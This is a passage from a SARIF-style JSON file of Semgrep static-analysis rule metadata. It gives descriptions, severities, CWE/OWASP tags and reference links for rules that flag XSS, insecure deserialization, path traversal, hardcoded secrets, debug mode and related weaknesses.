rendering of raw HTML in this segment. Ensure no user data is rendered here, otherwise this is a cross-site scripting (XSS) vulnerability, or turn autoescape on.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.security.xss.audit.template-autoescape-off.template-autoescape-off)\n - [https://flask.palletsprojects.com/en/1.1.x/templating/#controlling-autoescaping](https://flask.palletsprojects.com/en/1.1.x/templating/#controlling-autoescaping)\n - [https://flask.palletsprojects.com/en/1.1.x/templating/#jinja-setup](https://flask.palletsprojects.com/en/1.1.x/templating/#jinja-setup)\n","text":"Detected a segment of a Flask template where autoescaping is explicitly disabled with '{% autoescape off %}'. This allows rendering of raw HTML in this segment. Ensure no user data is rendered here, otherwise this is a cross-site scripting (XSS) vulnerability, or turn autoescape on."},"helpUri":"https://semgrep.dev/r/python.flask.security.xss.audit.template-autoescape-off.template-autoescape-off","id":"python.flask.security.xss.audit.template-autoescape-off.template-autoescape-off","name":"python.flask.security.xss.audit.template-autoescape-off.template-autoescape-off","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.security.xss.audit.template-autoescape-off.template-autoescape-off"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) Even for a data-only serialization format such as JSON, a malicious string may cause the decoder to consume considerable CPU and memory resources. Limiting the size of data to be parsed is recommended."},"help":{"markdown":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) Even for a data-only serialization format such as JSON, a malicious string may cause the decoder to consume considerable CPU and memory resources. Limiting the size of data to be parsed is recommended.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.deserialization.tainted-json-django.tainted-json-django)\n - [https://portswigger.net/web-security/deserialization](https://portswigger.net/web-security/deserialization)\n - [https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html](https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html)\n - [https://docs.python.org/3/library/json.html](https://docs.python.org/3/library/json.html)\n - [https://docs.python.org/3/library/pickle.html](https://docs.python.org/3/library/pickle.html)\n - [https://davidhamann.de/2020/04/05/exploiting-python-pickle/](https://davidhamann.de/2020/04/05/exploiting-python-pickle/)\n","text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) Even for a data-only serialization format such as JSON, a malicious string may cause the decoder to consume considerable CPU and memory resources. Limiting the size of data to be parsed is recommended."},"helpUri":"https://semgrep.dev/r/python.django.deserialization.tainted-json-django.tainted-json-django","id":"python.django.deserialization.tainted-json-django.tainted-json-django","name":"python.django.deserialization.tainted-json-django.tainted-json-django","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","HIGH CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.deserialization.tainted-json-django.tainted-json-django"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"Use of angular.element can lead to XSS if user-input is treated as part of the HTML element within `$SINK`. It is recommended to contextually output encode user-input, before inserting into `$SINK`. If the HTML needs to be preserved it is recommended to sanitize the input using $sce.getTrustedHTML or $sanitize."},"help":{"markdown":"Use of angular.element can lead to XSS if user-input is treated as part of the HTML element within `$SINK`. It is recommended to contextually output encode user-input, before inserting into `$SINK`. If the HTML needs to be preserved it is recommended to sanitize the input using $sce.getTrustedHTML or $sanitize.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.angular.security.detect-angular-element-methods.detect-angular-element-methods)\n - [https://docs.angularjs.org/api/ng/function/angular.element](https://docs.angularjs.org/api/ng/function/angular.element)\n - [https://owasp.org/www-chapter-london/assets/slides/OWASPLondon20170727_AngularJS.pdf](https://owasp.org/www-chapter-london/assets/slides/OWASPLondon20170727_AngularJS.pdf)\n","text":"Use of angular.element can lead to XSS if user-input is treated as part of the HTML element within `$SINK`. It is recommended to contextually output encode user-input, before inserting into `$SINK`. If the HTML needs to be preserved it is recommended to sanitize the input using $sce.getTrustedHTML or $sanitize."},"helpUri":"https://semgrep.dev/r/javascript.angular.security.detect-angular-element-methods.detect-angular-element-methods","id":"javascript.angular.security.detect-angular-element-methods.detect-angular-element-methods","name":"javascript.angular.security.detect-angular-element-methods.detect-angular-element-methods","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.angular.security.detect-angular-element-methods.detect-angular-element-methods"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A wide-string is used in an API that should consume byte-string (narrow string). This can trigger an out-of-bounds read."},"help":{"markdown":"A wide-string is used in an API that should consume byte-string (narrow string). This can trigger an out-of-bounds read.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/cpp.lang.security.strings.wide-to-narrow-string-mismatch.wide-to-narrow-string-mismatch)\n - [https://wiki.sei.cmu.edu/confluence/display/c/STR38-C.+Do+not+confuse+narrow+and+wide+character+strings+and+functions](https://wiki.sei.cmu.edu/confluence/display/c/STR38-C.+Do+not+confuse+narrow+and+wide+character+strings+and+functions)\n","text":"A wide-string is used in an API that should consume byte-string (narrow string). This can trigger an out-of-bounds read."},"helpUri":"https://semgrep.dev/r/cpp.lang.security.strings.wide-to-narrow-string-mismatch.wide-to-narrow-string-mismatch","id":"cpp.lang.security.strings.wide-to-narrow-string-mismatch.wide-to-narrow-string-mismatch","name":"cpp.lang.security.strings.wide-to-narrow-string-mismatch.wide-to-narrow-string-mismatch","properties":{"precision":"very-high","tags":["CWE-125: Out-of-bounds Read","HIGH CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: cpp.lang.security.strings.wide-to-narrow-string-mismatch.wide-to-narrow-string-mismatch"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Ensure CloudTrail logs are encrypted at rest using KMS CMKs. CMKs gives you control over the encryption key in terms of access and rotation."},"help":{"markdown":"Ensure CloudTrail logs are encrypted at rest using KMS CMKs. CMKs gives you control over the encryption key in terms of access and rotation.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.aws.security.aws-cloudtrail-encrypted-with-cmk.aws-cloudtrail-encrypted-with-cmk)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n","text":"Ensure CloudTrail logs are encrypted at rest using KMS CMKs. CMKs gives you control over the encryption key in terms of access and rotation."},"helpUri":"https://semgrep.dev/r/terraform.aws.security.aws-cloudtrail-encrypted-with-cmk.aws-cloudtrail-encrypted-with-cmk","id":"terraform.aws.security.aws-cloudtrail-encrypted-with-cmk.aws-cloudtrail-encrypted-with-cmk","name":"terraform.aws.security.aws-cloudtrail-encrypted-with-cmk.aws-cloudtrail-encrypted-with-cmk","properties":{"precision":"very-high","tags":["CWE-320: CWE CATEGORY: Key Management Errors","LOW CONFIDENCE","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.aws.security.aws-cloudtrail-encrypted-with-cmk.aws-cloudtrail-encrypted-with-cmk"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected user input flowing into an HTML response. You may be accidentally bypassing secure methods of rendering HTML by manually constructing HTML and this could create a cross-site scripting vulnerability, which could let attackers steal sensitive user data."},"help":{"markdown":"Detected user input flowing into an HTML response. You may be accidentally bypassing secure methods of rendering HTML by manually constructing HTML and this could create a cross-site scripting vulnerability, which could let attackers steal sensitive user data.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.aws-lambda.security.tainted-html-response.tainted-html-response)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Detected user input flowing into an HTML response. You may be accidentally bypassing secure methods of rendering HTML by manually constructing HTML and this could create a cross-site scripting vulnerability, which could let attackers steal sensitive user data."},"helpUri":"https://semgrep.dev/r/javascript.aws-lambda.security.tainted-html-response.tainted-html-response","id":"javascript.aws-lambda.security.tainted-html-response.tainted-html-response","name":"javascript.aws-lambda.security.tainted-html-response.tainted-html-response","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","MEDIUM CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.aws-lambda.security.tainted-html-response.tainted-html-response"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.pg.ruby-pg-hardcoded-connection-string.ruby-pg-hardcoded-connection-string)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/ruby.pg.ruby-pg-hardcoded-connection-string.ruby-pg-hardcoded-connection-string","id":"ruby.pg.ruby-pg-hardcoded-connection-string.ruby-pg-hardcoded-connection-string","name":"ruby.pg.ruby-pg-hardcoded-connection-string.ruby-pg-hardcoded-connection-string","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.pg.ruby-pg-hardcoded-connection-string.ruby-pg-hardcoded-connection-string"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. In FastAPI apps, consider using the Starlette `:path` annotation in the route declaration to automatically sanitize paths and filenames."},"help":{"markdown":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. In FastAPI apps, consider using the Starlette `:path` annotation in the route declaration to automatically sanitize paths and filenames.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.fastapi.file.tainted-path-traversal-stdlib-fastapi.tainted-path-traversal-stdlib-fastapi)\n - [https://fastapi.palletsprojects.com/en/2.3.x/patterns/fileuploads/](https://fastapi.palletsprojects.com/en/2.3.x/patterns/fileuploads/)\n - [https://fastapi.tiangolo.com/tutorial/path-params/#path-parameters-containing-paths](https://fastapi.tiangolo.com/tutorial/path-params/#path-parameters-containing-paths)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n - [https://owasp.org/www-community/attacks/Path_Traversal](https://owasp.org/www-community/attacks/Path_Traversal)\n - [https://portswigger.net/web-security/file-path-traversal](https://portswigger.net/web-security/file-path-traversal)\n - [https://werkzeug.palletsprojects.com/en/3.0.x/utils/#werkzeug.utils.secure_filename](https://werkzeug.palletsprojects.com/en/3.0.x/utils/#werkzeug.utils.secure_filename)\n","text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. In FastAPI apps, consider using the Starlette `:path` annotation in the route declaration to automatically sanitize paths and filenames."},"helpUri":"https://semgrep.dev/r/python.fastapi.file.tainted-path-traversal-stdlib-fastapi.tainted-path-traversal-stdlib-fastapi","id":"python.fastapi.file.tainted-path-traversal-stdlib-fastapi.tainted-path-traversal-stdlib-fastapi","name":"python.fastapi.file.tainted-path-traversal-stdlib-fastapi.tainted-path-traversal-stdlib-fastapi","properties":{"precision":"very-high","tags":["CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')","HIGH CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A05:2017 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: python.fastapi.file.tainted-path-traversal-stdlib-fastapi.tainted-path-traversal-stdlib-fastapi"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Found a template created with string formatting. This is susceptible to server-side template injection and cross-site scripting attacks."},"help":{"markdown":"Found a template created with string formatting. This is susceptible to server-side template injection and cross-site scripting attacks.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.security.dangerous-template-string.dangerous-template-string)\n - [https://nvisium.com/blog/2016/03/09/exploring-ssti-in-flask-jinja2.html](https://nvisium.com/blog/2016/03/09/exploring-ssti-in-flask-jinja2.html)\n - [https://pequalsnp-team.github.io/cheatsheet/flask-jinja2-ssti](https://pequalsnp-team.github.io/cheatsheet/flask-jinja2-ssti)\n","text":"Found a template created with string formatting. This is susceptible to server-side template injection and cross-site scripting attacks."},"helpUri":"https://semgrep.dev/r/python.flask.security.dangerous-template-string.dangerous-template-string","id":"python.flask.security.dangerous-template-string.dangerous-template-string","name":"python.flask.security.dangerous-template-string.dangerous-template-string","properties":{"precision":"very-high","tags":["CWE-96: Improper Neutralization of Directives in Statically Saved Code ('Static Code Injection')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.security.dangerous-template-string.dangerous-template-string"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Generic API Key detected"},"help":{"markdown":"Generic API Key detected\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/generic.secrets.security.detected-generic-api-key.detected-generic-api-key)\n - [https://github.com/dxa4481/truffleHogRegexes/blob/master/truffleHogRegexes/regexes.json](https://github.com/dxa4481/truffleHogRegexes/blob/master/truffleHogRegexes/regexes.json)\n","text":"Generic API Key detected"},"helpUri":"https://semgrep.dev/r/generic.secrets.security.detected-generic-api-key.detected-generic-api-key","id":"generic.secrets.security.detected-generic-api-key.detected-generic-api-key","name":"generic.secrets.security.detected-generic-api-key.detected-generic-api-key","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","LOW CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: generic.secrets.security.detected-generic-api-key.detected-generic-api-key"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A hardcoded passphrase was used with a call to the Password Based Key Derivation Function (PBKDF2) function which derives a cryptographic key from the password input. Because of this, the derived key is predictable and can be considered hard-coded too. Keys should be derived using a unique passphrase and randomly generated salt - per user."},"help":{"markdown":"A hardcoded passphrase was used with a call to the Password Based Key Derivation Function (PBKDF2) function which derives a cryptographic key from the password input. Because of this, the derived key is predictable and can be considered hard-coded too. Keys should be derived using a unique passphrase and randomly generated salt - per user.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/swift.commoncrypto.hardcoded-pbkdf2-passphrase.hardcoded-pbkdf2-passphrase)\n - [https://mobile-security.gitbook.io/masvs/security-requirements/0x08-v3-cryptography_verification_requirements](https://mobile-security.gitbook.io/masvs/security-requirements/0x08-v3-cryptography_verification_requirements)\n - [https://pages.nist.gov/800-63-3/sp800-63b.html#sec5](https://pages.nist.gov/800-63-3/sp800-63b.html#sec5)\n","text":"A hardcoded passphrase was used with a call to the Password Based Key Derivation Function (PBKDF2) function which derives a cryptographic key from the password input. Because of this, the derived key is predictable and can be considered hard-coded too. Keys should be derived using a unique passphrase and randomly generated salt - per user."},"helpUri":"https://semgrep.dev/r/swift.commoncrypto.hardcoded-pbkdf2-passphrase.hardcoded-pbkdf2-passphrase","id":"swift.commoncrypto.hardcoded-pbkdf2-passphrase.hardcoded-pbkdf2-passphrase","name":"swift.commoncrypto.hardcoded-pbkdf2-passphrase.hardcoded-pbkdf2-passphrase","properties":{"precision":"very-high","tags":["CWE-259: Use of Hard-coded Password","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: swift.commoncrypto.hardcoded-pbkdf2-passphrase.hardcoded-pbkdf2-passphrase"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.mysql2.ruby-mysql2-hardcoded-secret.ruby-mysql2-hardcoded-secret)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/ruby.mysql2.ruby-mysql2-hardcoded-secret.ruby-mysql2-hardcoded-secret","id":"ruby.mysql2.ruby-mysql2-hardcoded-secret.ruby-mysql2-hardcoded-secret","name":"ruby.mysql2.ruby-mysql2-hardcoded-secret.ruby-mysql2-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.mysql2.ruby-mysql2-hardcoded-secret.ruby-mysql2-hardcoded-secret"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"'html_safe' renders raw HTML. This means that normal HTML escaping is bypassed. If user data can be controlled here, this exposes your application to cross-site scripting (XSS). If you need to do this, be sure to correctly sanitize the data using a library such as DOMPurify."},"help":{"markdown":"'html_safe' renders raw HTML. This means that normal HTML escaping is bypassed. If user data can be controlled here, this exposes your application to cross-site scripting (XSS). If you need to do this, be sure to correctly sanitize the data using a library such as DOMPurify.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.rails.security.audit.xss.templates.avoid-html-safe.avoid-html-safe)\n - [https://stackoverflow.com/questions/4251284/raw-vs-html-safe-vs-h-to-unescape-html#:~:text===](https://stackoverflow.com/questions/4251284/raw-vs-html-safe-vs-h-to-unescape-html#:~:text===)\n - [https://medium.com/sumone-technical-blog/a-pretty-way-to-unescape-html-in-a-ruby-on-rails-application-efc22b850027](https://medium.com/sumone-technical-blog/a-pretty-way-to-unescape-html-in-a-ruby-on-rails-application-efc22b850027)\n","text":"'html_safe' renders raw HTML. This means that normal HTML escaping is bypassed. If user data can be controlled here, this exposes your application to cross-site scripting (XSS). If you need to do this, be sure to correctly sanitize the data using a library such as DOMPurify."},"helpUri":"https://semgrep.dev/r/ruby.rails.security.audit.xss.templates.avoid-html-safe.avoid-html-safe","id":"ruby.rails.security.audit.xss.templates.avoid-html-safe.avoid-html-safe","name":"ruby.rails.security.audit.xss.templates.avoid-html-safe.avoid-html-safe","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.rails.security.audit.xss.templates.avoid-html-safe.avoid-html-safe"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"The application is running debug code or has debug mode enabled. This may expose sensitive information, like stack traces and environment variables, to attackers. It may also modify application behavior, potentially enabling attackers to bypass restrictions. To remediate this finding, ensure that the application's debug code and debug mode are disabled or removed from the production environment."},"help":{"markdown":"The application is running debug code or has debug mode enabled. This may expose sensitive information, like stack traces and environment variables, to attackers. It may also modify application behavior, potentially enabling attackers to bypass restrictions. To remediate this finding, ensure that the application's debug code and debug mode are disabled or removed from the production environment.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.debug.debug-flask.active-debug-code-flask)\n - [https://flask.palletsprojects.com/en/3.0.x/debugging/](https://flask.palletsprojects.com/en/3.0.x/debugging/)\n","text":"The application is running debug code or has debug mode enabled. This may expose sensitive information, like stack traces and environment variables, to attackers. It may also modify application behavior, potentially enabling attackers to bypass restrictions. To remediate this finding, ensure that the application's debug code and debug mode are disabled or removed from the production environment."},"helpUri":"https://semgrep.dev/r/python.flask.debug.debug-flask.active-debug-code-flask","id":"python.flask.debug.debug-flask.active-debug-code-flask","name":"python.flask.debug.debug-flask.active-debug-code-flask","properties":{"precision":"very-high","tags":["CWE-489: Active Debug Code","HIGH CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.debug.debug-flask.active-debug-code-flask"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Found non static data as an index to 'globals()'. This is extremely dangerous because it allows an attacker to execute arbitrary code on the system. Refactor your code not to use 'globals()'."},"help":{"markdown":"Found non static data as an index to 'globals()'. This is extremely dangerous because it allows an attacker to execute arbitrary code on the system. Refactor your code not to use 'globals()'.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.security.dangerous-globals-use.dangerous-globals-use)\n - [https://github.com/mpirnat/lets-be-bad-guys/blob/d92768fb3ade32956abd53bd6bb06e19d634a084/badguys/vulnerable/views.py#L181-L186](https://github.com/mpirnat/lets-be-bad-guys/blob/d92768fb3ade32956abd53bd6bb06e19d634a084/badguys/vulnerable/views.py#L181-L186)\n","text":"Found non static data as an index to 'globals()'. This is extremely dangerous because it allows an attacker to execute arbitrary code on the system. Refactor your code not to use 'globals()'."},"helpUri":"https://semgrep.dev/r/python.lang.security.dangerous-globals-use.dangerous-globals-use","id":"python.lang.security.dangerous-globals-use.dangerous-globals-use","name":"python.lang.security.dangerous-globals-use.dangerous-globals-use","properties":{"precision":"very-high","tags":["CWE-96: Improper Neutralization of Directives in Statically Saved Code ('Static Code Injection')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.security.dangerous-globals-use.dangerous-globals-use"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Semgrep detected a Kubernetes core API ClusterRole with excessive permissions. Attaching excessive permissions to a ClusterRole associated with the core namespace allows the V1 API to perform arbitrary actions on arbitrary resources attached to the cluster. Prefer explicit allowlists of verbs/resources when configuring the core API namespace. "},"help":{"markdown":"Semgrep detected a Kubernetes core API ClusterRole with excessive permissions. Attaching excessive permissions to a ClusterRole associated with the core namespace allows the V1 API to perform arbitrary actions on arbitrary resources attached to the cluster. Prefer explicit allowlists of verbs/resources when configuring the core API namespace. \n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/yaml.kubernetes.security.legacy-api-clusterrole-excessive-permissions.legacy-api-clusterrole-excessive-permissions)\n - [https://kubernetes.io/docs/reference/access-authn-authz/rbac/#role-and-clusterrole](https://kubernetes.io/docs/reference/access-authn-authz/rbac/#role-and-clusterrole)\n - [https://kubernetes.io/docs/concepts/security/rbac-good-practices/#general-good-practice](https://kubernetes.io/docs/concepts/security/rbac-good-practices/#general-good-practice)\n - [https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.28/#api-groups](https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.28/#api-groups)\n","text":"Semgrep detected a Kubernetes core API ClusterRole with excessive permissions. Attaching excessive permissions to a ClusterRole associated with the core namespace allows the V1 API to perform arbitrary actions on arbitrary resources attached to the cluster. Prefer explicit allowlists of verbs/resources when configuring the core API namespace. "},"helpUri":"https://semgrep.dev/r/yaml.kubernetes.security.legacy-api-clusterrole-excessive-permissions.legacy-api-clusterrole-excessive-permissions","id":"yaml.kubernetes.security.legacy-api-clusterrole-excessive-permissions.legacy-api-clusterrole-excessive-permissions","name":"yaml.kubernetes.security.legacy-api-clusterrole-excessive-permissions.legacy-api-clusterrole-excessive-permissions","properties":{"precision":"very-high","tags":["CWE-269: Improper Privilege Management","HIGH CONFIDENCE","OWASP-A05:2021 - Security Misconfiguration","OWASP-A06:2017 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: yaml.kubernetes.security.legacy-api-clusterrole-excessive-permissions.legacy-api-clusterrole-excessive-permissions"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a NoSQL injection vulnerability. An attacker can execute malicious NoSQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Make sure all user input is validated and sanitized, and avoid using tainted user input to construct NoSQL statements if possible. Ideally, avoid raw queries and instead use parameterized queries."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a NoSQL injection vulnerability. An attacker can execute malicious NoSQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Make sure all user input is validated and sanitized, and avoid using tainted user input to construct NoSQL statements if possible. Ideally, avoid raw queries and instead use parameterized queries.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.db.pymongo-django.pymongo-django)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be used to build a database query, which can lead to a NoSQL injection vulnerability. An attacker can execute malicious NoSQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Make sure all user input is validated and sanitized, and avoid using tainted user input to construct NoSQL statements if possible. Ideally, avoid raw queries and instead use parameterized queries."},"helpUri":"https://semgrep.dev/r/python.django.db.pymongo-django.pymongo-django","id":"python.django.db.pymongo-django.pymongo-django","name":"python.django.db.pymongo-django.pymongo-django","properties":{"precision":"very-high","tags":["CWE-943: Improper Neutralization of Special Elements in Data Query Logic","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.db.pymongo-django.pymongo-django"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input could be used to tamper with a web page rendering, which can lead to a Cross-site scripting (XSS) vulnerability. XSS vulnerabilities occur when untrusted input executes malicious JavaScript code, leading to issues such as account compromise and sensitive information leakage. To prevent this vulnerability, validate the user input, perform contextual output encoding or sanitize the input. For more information, see: [Go XSS prevention](https://semgrep.dev/docs/cheat-sheets/go-xss/)."},"help":{"markdown":"Untrusted input could be used to tamper with a web page rendering, which can lead to a Cross-site scripting (XSS) vulnerability. XSS vulnerabilities occur when untrusted input executes malicious JavaScript code, leading to issues such as account compromise and sensitive information leakage. To prevent this vulnerability, validate the user input, perform contextual output encoding or sanitize the input. For more information, see: [Go XSS prevention](https://semgrep.dev/docs/cheat-sheets/go-xss/).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.net.xss.no-direct-write-to-responsewriter-taint.no-direct-write-to-responsewriter-taint)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input could be used to tamper with a web page rendering, which can lead to a Cross-site scripting (XSS) vulnerability. XSS vulnerabilities occur when untrusted input executes malicious JavaScript code, leading to issues such as account compromise and sensitive information leakage. To prevent this vulnerability, validate the user input, perform contextual output encoding or sanitize the input. For more information, see: [Go XSS 